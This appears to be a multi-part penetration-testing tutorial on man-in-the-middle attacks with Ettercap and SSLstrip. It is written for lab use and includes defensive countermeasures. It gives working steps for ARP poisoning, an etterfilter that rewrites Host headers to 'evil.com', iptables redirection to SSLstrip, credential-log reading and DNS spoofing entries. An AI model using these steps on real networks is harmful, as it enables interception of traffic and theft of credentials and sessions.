Executing MITM Attacks Using Ettercap and SSLstrip

To begin with, it’s essential to understand what constitutes a MITM attack. This form of network exploitation occurs when a malicious actor positions themselves between a client and a server, masquerading as both to intercept messages. Unlike denial-of-service attacks or brute-force intrusions, MITM attacks can be subtle, effective, and persistent without alerting the victim.

Typically, MITM attacks require access to the same network as the target. This is often achieved in public or poorly secured Wi-Fi environments. Once the attacker gains a foothold, they can use tools that leverage Address Resolution Protocol spoofing or poisoning to redirect the victim’s traffic through the attacker’s device. By intercepting the communication, the attacker becomes an invisible proxy, capable of inspecting, logging, and even altering packets in real time.

Introduction to Ettercap and SSLstrip

Among the first tools that aspiring penetration testers and ethical hackers learn to use for this purpose is Ettercap. Ettercap enables full-duplex sniffing and packet injection within a local area network. When combined with SSLstrip, a tool designed to downgrade HTTPS connections to unencrypted HTTP, the attacker can intercept credentials and other sensitive information with minimal effort.

The practice of ARP poisoning is central to a successful MITM attack in a switched Ethernet network. In this tactic, the attacker sends forged ARP messages to the network, associating their MAC address with the IP address of the gateway or target machine. As a result, the network traffic intended for the legitimate gateway is instead rerouted through the attacker’s machine. From there, it can be forwarded to the actual gateway after inspection, keeping the user unaware of the breach.

Role of SSLstrip in Downgrading HTTPS

SSLstrip plays a particularly important role in this process because modern web traffic is predominantly encrypted via SSL/TLS protocols. Most users access secure websites using HTTPS, and without intervention, intercepted data would remain encrypted and unreadable. However, SSLstrip works by intercepting the initial request to a secure site and modifying it into a plain HTTP request before it reaches the browser. Users are often unaware of this downgrade unless they closely inspect the browser’s address bar.

Because of this behavior, MITM attacks that incorporate SSLstrip are especially dangerous in environments where security awareness is low. A user might not notice that a lock icon is missing or that the connection has reverted to HTTP. Once the attacker captures usernames, passwords, session tokens, or other sensitive data in plaintext, the implications can be serious, ranging from unauthorized access to accounts, theft of personal information, or unauthorized control of systems.

Network Layers and Protocol Interception

Understanding the role of network layers is also important when studying MITM attacks. These attacks typically operate at the data link and transport layers. Ettercap, for instance, can manipulate Layer 2 traffic by targeting the ARP protocol, while SSLstrip deals more with Layer 4, where secure sockets operate. Effective penetration testing requires a solid understanding of these layers and the ability to manipulate protocols such as TCP, UDP, and DNS.

Before launching a MITM attack in any context, especially in penetration testing, it’s vital to secure proper authorization. Unauthorized access or manipulation of network traffic is not only unethical but also illegal in many jurisdictions. All activities must be conducted within a controlled environment or under a formal testing agreement. This ensures compliance with cybersecurity laws and industry regulations.

Use of MITM in Red Team Exercises

In many organizations, red team operations simulate real-world attacks using tools like Ettercap and SSLstrip. These exercises test the effectiveness of intrusion detection systems and incident response protocols. By monitoring how security teams react to an active MITM scenario, companies can assess vulnerabilities and improve their overall defense posture.

To carry out a MITM attack using Ettercap and SSLstrip effectively, an attacker typically starts by enabling IP forwarding on their system. This ensures that packets are correctly routed between the victim and the legitimate host after interception. ARP spoofing is then initiated using Ettercap, targeting both the victim and the gateway. SSLstrip is configured to listen for incoming HTTP requests and strip the secure headers before forwarding the modified traffic. Finally, DNS redirection may be used to funnel more traffic through the attacker’s interface.

The Technical Prerequisites

Although these tools are readily available on Kali Linux and similar penetration testing distributions, effective use requires a deep understanding of networking principles. Concepts such as routing tables, IP addressing, subnet masks, and MAC addresses are foundational to deploying these attacks successfully. Misconfigurations can result in detection, broken sessions, or denial of service—none of which are desirable in a stealthy engagement.

Logging and monitoring are crucial for attackers and defenders alike. From an attacker’s perspective, it’s important to capture packet data without causing noticeable disruptions. Packet analyzers like Wireshark can be used in conjunction with Ettercap to log full session data. For defenders, monitoring tools should be configured to detect anomalies in ARP tables, unusual traffic spikes, and deviations in expected encryption patterns.

SSLstrip Limitations and Security Enhancements

One of the key limitations of SSLstrip today is the increasing prevalence of HTTPS Everywhere and HSTS (HTTP Strict Transport Security). These technologies force web browsers to use secure connections even if HTTP is requested initially, making SSL stripping more difficult. However, in legacy environments or poorly configured networks, attackers may still find opportunities to downgrade traffic and exploit insecure fallback mechanisms.

The use of MITM attacks is not limited to collecting passwords or stealing identities. More advanced applications involve session hijacking, injection of malicious scripts, altering downloads, or redirecting traffic to phishing sites. This makes the technique not just a tool for intelligence gathering but also a platform for launching other types of attacks.

Future Trends and Wireless Adaptations

The future of MITM attacks will likely involve more sophisticated techniques, including DNS spoofing at the protocol level, exploitation of IPv6 vulnerabilities, and interception of encrypted traffic through stolen certificates or compromised certificate authorities. As cybersecurity technologies evolve, so do attack vectors, and understanding these changes is essential for any professional working in offensive security or digital forensics.

Another growing area of concern is the integration of MITM techniques with wireless attack tools. In wireless environments, attackers may set up rogue access points or conduct deauthentication attacks to force clients to connect through compromised paths. This provides further opportunities to intercept and manipulate traffic, particularly when users connect to public Wi-Fi without using secure tunnels like VPNs.

The Importance of Practice and Hands-On Learning

While tools like Ettercap and SSLstrip offer powerful capabilities, they are not plug-and-play solutions. Their proper use requires a methodical, informed approach. Beginners must take the time to set up test environments, review packet captures, and troubleshoot inconsistencies. Without hands-on practice and experimentation, theoretical knowledge of MITM attacks will remain incomplete.

While Part 1 focused on the conceptual and preparatory aspects of MITM attacks, the next article will offer a practical guide to using Ettercap. Readers will learn how to configure and deploy the tool in a test lab, select targets, and interpret traffic. Whether your goal is to conduct ethical hacking assessments or deepen your understanding of network security, this series will provide a comprehensive, hands-on learning experience grounded in real-world scenarios.

Building the Environment for MITM Attacks

After grasping the foundational concepts of Man-in-the-Middle attacks, the next step is learning how to practically use Ettercap to carry one out in a controlled environment. This involves configuring a proper lab setup, installing and running Ettercap, and performing ARP spoofing to intercept traffic. This process should always be conducted with full authorization and in isolated environments to ensure legal and ethical compliance.

A basic MITM lab setup includes three nodes: the attacker machine (typically running Kali Linux), a victim device (such as a virtual Windows or Linux client), and a router or gateway to simulate internet access. Virtual machines using VirtualBox or VMware are ideal for creating isolated environments without affecting production networks. Ensure the attacker machine has two network interfaces—one to manage internet connectivity and another to participate in the internal test network.

Installing Ettercap and Launching the Tool

Ettercap comes pre-installed on most penetration testing distributions, but it can also be installed manually using package managers. On Kali Linux, installation is simple:

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sudo apt install ettercap-graphical

 

To start the graphical interface, use:

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sudo ettercap -G

 

The graphical interface makes it easier to monitor targets and use Ettercap plugins. After launching, the user must select the correct network interface (e.g., eth0 or wlan0). Ettercap requires root privileges to operate fully, as it interacts directly with the network stack.

Network Host Discovery

With the interface selected, Ettercap can begin scanning for hosts on the local subnet. Use the “Scan for hosts” option under the “Hosts” menu. Ettercap then builds a list of all machines on the network. Both the victim and the router/gateway need to be identified in this list to proceed with the attack.

Assign the victim machine as “Target 1” and the router or gateway as “Target 2.” This ensures that the traffic flowing between the victim and the internet passes through the attacker’s machine.

ARP Spoofing Activation

The next step is to enable ARP spoofing. This is done via the “MITM” menu, where you choose “ARP poisoning.” In the ARP poisoning dialog, select “Sniff remote connections.” This setting ensures that Ettercap captures traffic flowing from the victim to remote systems, and vice versa.

Once activated, Ettercap will begin sending ARP reply packets to both the victim and the gateway, tricking them into thinking the attacker’s MAC address is the correct route to one another. This positions the attacker directly in the middle of the network path, enabling full traffic interception.

Verifying Interception

To confirm that MITM interception is working correctly, open a browser on the victim machine and visit a basic website (preferably HTTP for initial testing). On the attacker machine, Ettercap should start displaying the intercepted data in real-time. This includes DNS queries, URLs, and in some cases, plaintext credentials.

Complementing Ettercap with Wireshark allows deeper analysis. Use Wireshark to inspect packet contents, identify login forms, and extract session cookies. This combination is extremely effective in penetration testing environments for demonstrating the impact of insufficient network protection.

Plugin Support in Ettercap

Ettercap includes plugins that extend its capabilities. One such plugin is DNS spoofing, which can redirect domain name requests to an attacker-controlled IP address. This is particularly useful for phishing demonstrations or simulating redirection attacks.

Another powerful feature is the use of filters. Ettercap has its scripting language for creating filters that can modify packets on the fly. For example, an attacker might write a filter that replaces all instances of a legitimate login form URL with a malicious one. Filters must be compiled and loaded into Ettercap for execution.

Creating a custom filter:

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if (ip.proto == TCP && tcp.dst == 80) {

   if (search(DATA.data, “Host:”)) {

      replace(“Host:”, “Host: evil.com”);

   }

}

 

Compile the filter using:

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etterfilter filter.ecf -o filter.ef

 

Then load it in Ettercap from the Filters menu.

Session Hijacking and Credential Harvesting

Ettercap’s real-time capture can reveal usernames and passwords transmitted in plaintext over unencrypted channels. When testing HTTP sessions, you may observe GET and POST parameters in intercepted packets. If session tokens are used without encryption, they can be hijacked, granting unauthorized access to web applications.

More advanced uses include using Ettercap’s data injection capabilities to insert malicious JavaScript into HTML content, leading to further exploitation such as browser-based exploits or keylogging via browser hooks.

Performance and Stability Tips

While running Ettercap, you may notice reduced network stability or performance, especially with heavy packet interception. Excessive ARP packets or poor filter design can crash the victim’s session or disrupt the gateway. To improve reliability:

• Use minimal background processes on the attacker’s machine.

• Ensure proper timing in packet injection or spoofing scripts.

• Monitor CPU and memory usage during attacks.

In practice, experienced testers tweak packet timing and interface buffer sizes to reduce disruptions.

Mitigation and Defense Awareness

Understanding how to execute attacks with Ettercap also helps defenders build resilience. Blue teams can configure ARP watch utilities or IDS systems like Snort to detect ARP spoofing patterns. Static ARP entries, network segmentation, and HTTPS enforcement are effective countermeasures.

DNS spoofing defenses include using DNSSEC and configuring endpoints to reject responses from unauthorized resolvers. Segmenting network resources with VLANs also reduces exposure.

Using Ettercap responsibly means recognizing the value in simulating real threats while reinforcing the importance of layered defenses. A secure network architecture includes not just technology but policies, awareness training, and continuous monitoring.

Transitioning to HTTPS Downgrade with SSLstrip

Once Ettercap is in place and traffic is being intercepted, the next evolution in a MITM attack is to handle HTTPS. Modern websites typically redirect users from HTTP to HTTPS, which encrypts the data in transit and prevents basic sniffing tools from seeing credentials or other sensitive information.

SSLstrip is a tool designed to transparently downgrade HTTPS traffic to HTTP, exploiting the automatic redirection mechanism most websites use. When combined with Ettercap, this allows the attacker to present insecure versions of secure pages to victims, thus enabling credential theft even on supposedly secure websites.

To enable SSLstrip:

1. Turn on IP forwarding:

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echo 1 > /proc/sys/net/ipv4/ip_forward

 

1. Set iptables rules to redirect port 80 to port 10000 (SSLstrip default):

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iptables -t nat -A PREROUTING -p tcp– destination-port 80 -j REDIRECT– to-port 10000

 

1. Run SSLstrip:

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sslstrip -l 10000

 

This setup causes all HTTP requests from the victim to flow through SSLstrip, where HTTPS links are rewritten to use HTTP, and the attacker can log every request in plaintext.

This second part of the series has detailed the complete process of using Ettercap in a practical lab setting, including scanning the network, setting up targets, launching ARP spoofing, capturing data, using plugins and filters, and preparing the groundwork for SSLstrip. These techniques form the basis of understanding how attackers manipulate network trust mechanisms to intercept and exploit user data.

Understanding the Role of SSLstrip in MITM Attacks

As the internet evolved, HTTPS became the default for websites handling sensitive data. HTTPS ensures data encryption, integrity, and authentication. However, attackers found a gap in how HTTPS is typically enforced: the initial request from a browser is often sent over HTTP and then redirected to HTTPS. SSLstrip takes advantage of this by intercepting these redirections and replacing them with plain HTTP links, fooling the victim into using unencrypted sessions even when the original website supports encryption.

When integrated with Ettercap and ARP spoofing, SSLstrip enables attackers to downgrade secure traffic, capture credentials in plaintext, and perform detailed logging of user activity. The effectiveness of this attack depends heavily on the configuration of the target website and the browser’s security policies.

Installing and Launching SSLstrip

SSLstrip is available on many penetration testing distributions and can also be installed manually from source. It requires Python and should be used in conjunction with a redirecting firewall rule and active IP forwarding.

To begin:

1. Ensure IP forwarding is enabled:

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echo 1 > /proc/sys/net/ipv4/ip_forward

 

1. Configure iptables to redirect incoming HTTP traffic on port 80 to SSLstrip’s listening port (commonly 10000):

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iptables -t nat -A PREROUTING -p tcp– destination-port 80 -j REDIRECT– to-port 10000

 

1. Launch SSLstrip:

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sslstrip -l 10000 -w sslstrip.log

 

The -w flag writes intercepted data to a log file. This log contains valuable information, including the URLs accessed, any credentials submitted via HTTP POST forms, and session tokens in plaintext.

Combining SSLstrip with Ettercap

The real power of SSLstrip comes when combined with ARP poisoning through Ettercap. Ettercap is responsible for placing the attacker between the victim and the gateway. Once positioned, SSLstrip can manipulate HTTP responses and remove HTTPS links before they ever reach the victim’s browser.

The attack workflow looks like this:

• The victim tries to access http://example.com.

• The legitimate server responds with a redirect to https://example.com.

• SSLstrip catches this response and modifies it to keep the connection on HTTP.

• The victim unknowingly browses a plaintext version of the site.

• Any credentials submitted are captured by SSLstrip.

This process works best when the target website does not use HTTP Strict Transport Security (HSTS) or if the victim’s browser does not enforce it.

Demonstrating Credential Capture in SSLstrip

After running the attack in a test environment, monitor the SSLstrip log file:

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cat sslstrip.log

 

You will find GET and POST requests with parameters. For login forms, look for username, email, or password fields. These may appear as:

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POST http://example.com/login

username=admin&password=secret123

 

Additionally, session cookies and URL parameters containing sensitive tokens are also logged, potentially enabling session hijacking even without credentials.

This kind of attack is especially dangerous when victims are unaware of the insecure connection. A typical user may not notice the missing padlock icon or may overlook the fact that the URL starts with http:// instead of https://.

Targeting Login Forms and Webmail Interfaces

Web applications that rely on POST-based login forms are prime targets for SSLstrip. Especially vulnerable are legacy systems or internal portals that do not enforce SSL site-wide. Even modern systems can be exposed if they use mixed content or rely on the browser to redirect users to secure pages.

Webmail interfaces, employee portals, and admin dashboards are high-value targets. Many organizations still deploy tools that fall back to HTTP for login or use weak redirects. If these systems are not protected with HSTS or do not preload SSL enforcement in browsers, SSLstrip can effectively compromise credentials.

Attackers may also use cloned login pages injected via Ettercap filters to simulate real websites. In this case, the user interface appears identical, but credentials are sent directly to the attacker’s machine.

Understanding Limitations of SSLstrip

Despite its power, SSLstrip is not effective against all targets. Several technologies reduce its impact significantly:

• HSTS (HTTP Strict Transport Security): This security policy forces browsers to use HTTPS, even if the user types http://. When a domain is HSTS-preloaded (like most banking and social media sites), SSLstrip cannot downgrade the connection.

• Modern Browsers: Browsers now warn users about insecure forms or automatically upgrade HTTP requests to HTTPS using internal lists or extensions.

• Certificate Pinning: Some apps and web services use certificate pinning, which checks the server certificate against a known fingerprint. If the certificate does not match, the connection fails, preventing attackers from using fake or modified certificates.

• VPNs and Secure DNS: Virtual private networks and DNS-over-HTTPS add additional encryption layers that SSLstrip cannot bypass. These tools make interception much more difficult.

However, even with these defenses, many networks still have systems vulnerable to basic SSLstrip attacks, especially internal tools or poorly configured websites.

Enhancing SSLstrip Attacks with DNS Spoofing

To increase the reach of SSLstrip, attackers can implement DNS spoofing. This allows redirection of any domain name to the attacker-controlled IP. By combining DNS spoofing with SSLstrip, attackers can force victims to connect to sites under their control, appearing nearly identical to legitimate services.

For example, if a user types mail.example.com, a DNS spoofing tool can redirect it to the attacker’s server. SSLstrip then handles the HTTPS downgrade, and the user unknowingly provides credentials on a fake interface.

Ettercap includes a DNS spoof plugin that can be used by enabling the plugin in the graphical interface or manually editing the etterDNS configuration file:

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*.example.com A 192.168.1.100

Restart Ettercap with DNS spoofing enabled to reroute requests as needed.

Countermeasures and Defensive Strategies

Knowing how SSLstrip works helps defenders implement mitigation strategies. Organizations should enforce HSTS headers across all domains, particularly for login pages. Preloading sites into browser HSTS lists ensures users never access the site via HTTP, blocking the attack at the browser level.

SSL certificates should be configured site-wide and not just for login forms. Mixed content should be avoided, and any HTTP endpoints should redirect via server-side 301 responses to HTTPS, not via JavaScript or meta tags.

Tools like HTTPS Everywhere or browser-native HTTPS upgrading can also protect individual users from falling victim to such attacks. For organizations, implementing IDS/IPS systems capable of detecting ARP spoofing or HTTP downgrades provides network-level visibility into suspicious activity.

Administrators should also monitor for signs of abnormal ARP behavior or sudden traffic spikes between endpoints. Additionally, network segmentation and port security features on switches can limit access to key segments and detect spoofed MAC addresses.

The Role of Logging and Legal Boundaries

It is critical to emphasize that while SSLstrip and Ettercap offer deep insights into traffic interception, their use is strictly limited to authorized environments. Any unauthorized use is illegal and unethical. These tools are invaluable for penetration testers who help organizations discover weak points in their networks before attackers do.

All findings from such testing must be documented, logged, and presented to stakeholders with remediation steps. Logs from SSLstrip can reveal which systems are susceptible and provide evidence to justify upgrading configurations or decommissioning insecure applications.

In environments where logging is permitted, SSLstrip logs should be analyzed for the type of information intercepted, potential exposure of credentials, and the presence of session identifiers that could allow further access.

SSLstrip is a powerful tool in the arsenal of penetration testers for demonstrating the risks of improperly configured HTTPS implementations. When used in combination with Ettercap, attackers can intercept, modify, and log sensitive data from victims who believe they are communicating securely.

This part of the series detailed how to install and use SSLstrip, interpret captured data, enhance attacks with DNS spoofing, and outlined the limitations imposed by modern security measures. By studying these techniques, defenders and testers alike gain a better understanding of the weaknesses in their environments and how to protect against such attacks.

Final Thoughts

Man-in-the-middle attacks remain one of the most insidious threats in modern network security due to their ability to silently intercept, manipulate, and steal sensitive data. Tools like Ettercap and SSLstrip have demonstrated how vulnerabilities in fundamental network protocols and weak encryption practices can be exploited with relative ease.

However, this knowledge is a double-edged sword. Understanding the mechanics of these attacks empowers security professionals to better detect, prevent, and respond to them. It also highlights the importance of adopting a proactive security mindset that combines strong technical defenses, continuous monitoring, and user awareness.

The evolution of secure protocols such as HTTPS, along with modern browser protections and network safeguards, has significantly raised the bar against MITM attacks. Yet, attackers continuously seek new weaknesses to exploit. This means that defense must be an ongoing process, not a one-time fix.

For organizations and individuals alike, the key takeaway is the necessity of layered security, implementing multiple complementary controls that together reduce risk and limit the attack surface. From network segmentation and ARP spoofing mitigation to strict HTTPS enforcement and certificate pinning, every piece plays a role in building a resilient security posture.

Moreover, ethical considerations and legal compliance are critical when working with penetration testing tools. Responsible use ensures that the security community continues to advance without causing harm or violating privacy.

In the end, cybersecurity is a shared responsibility. By staying informed, adopting best practices, and fostering a culture of security, we can collectively reduce the impact of man-in-the-middle attacks and safeguard the integrity and confidentiality of our digital communications.

 

• Category: other
• Tags: Ettercap, MITM, SSLstrip